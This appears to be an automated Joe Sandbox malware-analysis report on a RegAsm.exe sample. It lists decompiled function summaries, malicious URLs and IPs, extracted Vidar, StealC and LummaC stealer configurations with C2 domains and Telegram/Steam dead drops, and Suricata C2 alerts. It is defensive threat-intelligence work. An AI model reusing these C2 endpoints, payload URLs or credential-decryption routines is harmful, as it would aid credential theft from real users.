Instruction Fuzzy Hash: 6E31E271A1060A8FDB44CF2CC9807AE73E9EB86344F518239D41AC7661EB31E659C7A1

Function 6CBAB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CB50A4D), ref: 6CBAB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CB50A4D), ref: 6CBAB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CB50A4D), ref: 6CBAB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CB50A4D), ref: 6CBAB67F

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 85470abaf407f55acb08b72da908b4ff6a81de7a0bb64f537be65a7f91a03852
Instruction ID: 6cb0e3a6d52f4b843187815821a775b7201618c199d2c659a1eef9440f04f79a
Opcode Fuzzy Hash: 85470abaf407f55acb08b72da908b4ff6a81de7a0bb64f537be65a7f91a03852
Instruction Fuzzy Hash: 1B31F671A042198FDB10CF9CC84465EF7B5FF85304F168529C85A9B211DB31E916CBA1

Function 6CB5BBE0 Relevance: 5.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000010,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6CB5BBF4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6CB5BC66
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6CB5BC96
memcpy.VCRUNTIME140(00000000,00000010,0000001F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB5BCCE

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 89ebd858cb979b0fa986bb6421ce93eb2343822bc4fe311691735d88ae7a3efb
Instruction ID: 945508b0c91da35bf65687a53e5c0793cbd44b8c50f93d081c86ebfefc070f78
Opcode Fuzzy Hash: 89ebd858cb979b0fa986bb6421ce93eb2343822bc4fe311691735d88ae7a3efb
Instruction Fuzzy Hash: 1C214671F002444BF7008F39CC8062EB2E9EB95308FA44A38D95AD7791EE70E5A483A5

Function 6CB7F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB7F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CB7F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB7F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CB7F668

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 9f28c11b72e9b186829b10f0f8ab6dc4d3171b54a59798a88c3bb1fd4a5e8af3
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 8A313E71A00254AFC724CF6DCCC0A9F77B5EF84354B148539EA5A8BB04D631ED44CBA4

Function 6CB439A0 Relevance: 5.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBCE744,6CBA7765,00000000,6CBA7765,?,6CB66112), ref: 6CB439AF
LeaveCriticalSection.KERNEL32(6CBCE744,?,6CB66112), ref: 6CB43A34
EnterCriticalSection.KERNEL32(6CBCE784,6CB66112), ref: 6CB43A4B
LeaveCriticalSection.KERNEL32(6CBCE784), ref: 6CB43A5F

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: f95ec3e6d3574235e608118d4456328c26b3da5b11843448d820f16d55bcf234
Instruction ID: 9603fc8edab9b6a6a9298a6461b07001cf561a7a0939e5222cd0a23bd7662653
Opcode Fuzzy Hash: f95ec3e6d3574235e608118d4456328c26b3da5b11843448d820f16d55bcf234
Instruction Fuzzy Hash: 472127327056C1CFC7249F69C446A2E73B5EB99714B2C492ED96683F84D730A9109793

Function 6CB5B940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CB5B96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6CB5B99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB5B9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB5B9B9

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: ebbb0a08c9f5896aa36d9d3dd2473e4dd39f5055aad6891c2c75e971a5be462f
Instruction ID: 170a1522cf5a91934359146cc8d78afe1f17c4bf17ffcb5a079549b5b2065df2
Opcode Fuzzy Hash: ebbb0a08c9f5896aa36d9d3dd2473e4dd39f5055aad6891c2c75e971a5be462f
Instruction Fuzzy Hash: D7114FF1A002059FCB44DF69D8808ABB7F8FF98314B54853AE919D3701D771AA158BA1

Function 6CB926B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB926C1
free.MOZGLUE(?), ref: 6CB926E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB926FF
free.MOZGLUE ref: 6CB9270D

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 09f5e3ccb7d2fae060acb6e39d5a4cf0855995d1eab9fea603cc3c8b42e4adb2
Instruction ID: b251800c2b7d67e1ae0c86e45d1f4ac6ee301a0d7e647e4149e50c4629d7444a
Opcode Fuzzy Hash: 09f5e3ccb7d2fae060acb6e39d5a4cf0855995d1eab9fea603cc3c8b42e4adb2
Instruction Fuzzy Hash: CAF0A9B2B012815BEB009E19D88495B77ADFF56258B540035EA1AD3F02E731F929C7A7

Source: http://46.8.231.109/c4754d4f680ead72.php	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.phpb	Avira URL Cloud: Label: malware
Source: http://147.45.68.138/nss3.dll	Avira URL Cloud: Label: malware
Source: https://t.me/iyigunl	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.phpnu	Avira URL Cloud: Label: malware
Source: https://condedqpwqm.shop/api.	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll#	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll_	Avira URL Cloud: Label: malware
Source: https://condedqpwqm.shop/api45	Avira URL Cloud: Label: phishing
Source: https://steamcommunity.com/profiles/76561199761128941	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dlli	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	Avira URL Cloud: Label: malware
Source: https://condedqpwqm.shop/apitK	Avira URL Cloud: Label: phishing
Source: http://147.45.68.138/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.phpC	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.phpry=----IDHIIJJJKEGIDGCBAFIJdefaultrelease	Avira URL Cloud: Label: malware
Source: https://t.me/jamelwt#cp	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66cf75d3791d7_vrewqgq.exe	Avira URL Cloud: Label: malware
Source: http://147.45.68.138/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	Avira URL Cloud: Label: malware
Source: locatedblsoqp.shop	Avira URL Cloud: Label: phishing
Source: caffegclasiqwp.shop	Avira URL Cloud: Label: malware
Source: millyscroqwp.shop	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dlls	Avira URL Cloud: Label: malware
Source: http://46.8.231.109	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.php:#	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.phpw	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll-	Avira URL Cloud: Label: malware
Source: http://147.45.68.138/freebl3.dll	Avira URL Cloud: Label: malware
Source: traineiwnqo.shop	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll(	Avira URL Cloud: Label: malware
Source: condedqpwqm.shop	Avira URL Cloud: Label: phishing
Source: https://condedqpwqm.shop/T	Avira URL Cloud: Label: phishing
Source: http://147.45.68.138/sql.dll	Avira URL Cloud: Label: malware
Source: http://147.45.68.138/softokn3.dll	Avira URL Cloud: Label: malware
Source: stamppreewntnq.shop	Avira URL Cloud: Label: phishing
Source: stagedchheiqwo.shop	Avira URL Cloud: Label: phishing
Source: http://147.45.68.138/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	Avira URL Cloud: Label: malware

Source: 0000001B.00000002.1383374725.00000000038B5000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199761128941", "https://t.me/jamelwt"], "Botnet": "d9949d63cb2f6fce6f80667c0c98ea24"}
Source: 00000003.00000002.1384359989.000000000140A000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php"}
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["locatedblsoqp.shop", "caffegclasiqwp.shop", "traineiwnqo.shop", "evoliutwoqm.shop", "millyscroqwp.shop", "stagedchheiqwo.shop", "condedqpwqm.shop", "stamppreewntnq.shop"], "Build id": "H8NgCl--"}

Source: C:\ProgramData\HDAFIIDAKJ.exe	ReversingLabs: Detection: 32%
Source: C:\Users\userIEHDAFHDHC.exe	ReversingLabs: Detection: 32%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\66cf75d3791d7_vrewqgq[1].exe	ReversingLabs: Detection: 32%

Source: C:\ProgramData\HDAFIIDAKJ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\66cf75d3791d7_vrewqgq[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\66cf818156193_ldjfnsfd[1].exe	Joe Sandbox ML: detected
Source: C:\Users\userFBKFCFBFID.exe	Joe Sandbox ML: detected
Source: C:\Users\userIEHDAFHDHC.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\DHCGHDHIDH.exe	Joe Sandbox ML: detected

Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: caffegclasiqwp.shop
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: stamppreewntnq.shop
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: stagedchheiqwo.shop
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: millyscroqwp.shop
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: evoliutwoqm.shop
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: condedqpwqm.shop
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: traineiwnqo.shop
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: locatedblsoqp.shop
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: condedqpwqm.shop
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: TeslaBrowser/5.5
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: - Screen Resoluton:
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: - Physical Installed Memory:
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: Workgroup: -
Source: 24.2.RegAsm.exe.400000.0.raw.unpack	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	3_2_00409BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	3_2_00418940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	3_2_0040C660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	3_2_00407280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	3_2_00409B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB56C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	3_2_6CB56C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CCAA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	3_2_6CCAA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_00406AB6 CryptUnprotectData,LocalAlloc,LocalFree,	29_2_00406AB6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_0040F8D5 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	29_2_0040F8D5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_00406A53 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	29_2_00406A53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_004083FA memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,	29_2_004083FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6C9C6C80 CryptQueryObject,CryptMsgGetParam,CryptMsgGetParam,CertFindCertificateInStore,CertGetNameStringW,CertGetNameStringW,CertFreeCRLContext,CryptMsgClose,CertCloseStore,CryptQueryObject,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,GetLastError,CryptBinaryToStringW,GetLastError,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	29_2_6C9C6C80

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+1Ch]	24_2_0040C000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	24_2_0040B810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-14h]	24_2_0043BC78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp]	24_2_0040CC80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp]	24_2_0040C69D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	24_2_00413846
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000874h]	24_2_0041E850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], cx	24_2_0041E850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], cx	24_2_0041F862
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, dword ptr [edx+ebx+3Ch]	24_2_0043A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	24_2_004390C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	24_2_0043E8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	24_2_0043E080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	24_2_00413888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], cx	24_2_0041F8B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	24_2_0041F8B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	24_2_0041D940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	24_2_00431950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	24_2_00415172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	24_2_00415172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-24h]	24_2_00415172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, word ptr [ebx]	24_2_0043F9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 625B6034h	24_2_004211B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	24_2_00413A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000D8h]	24_2_0042A2DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+34h]	24_2_0042A2DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+34h]	24_2_0042A2DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+18h]	24_2_0042A2DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], CECD21FDh	24_2_0042A2DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	24_2_004122E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	24_2_0043F290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	24_2_00427B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	24_2_00423BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [ecx], ax	24_2_0041DBEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	24_2_0043E390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	24_2_0043D470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	24_2_0043DC70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	24_2_0041C400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [ebp-10h]	24_2_0041E411
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	24_2_004104D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+38h]	24_2_0040F578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp edx	24_2_0041CDED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [ebx+01h], 00000000h	24_2_0041CDED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	24_2_00424640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	24_2_0041C660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	24_2_00415E62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000D8h]	24_2_0042866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	24_2_00403E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000874h]	24_2_0041E6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], cx	24_2_0041E6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	24_2_00423F07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	24_2_0043DF90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp edx	24_2_0043A796

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49702 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49702 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.7:49702
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49702 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.7:49702
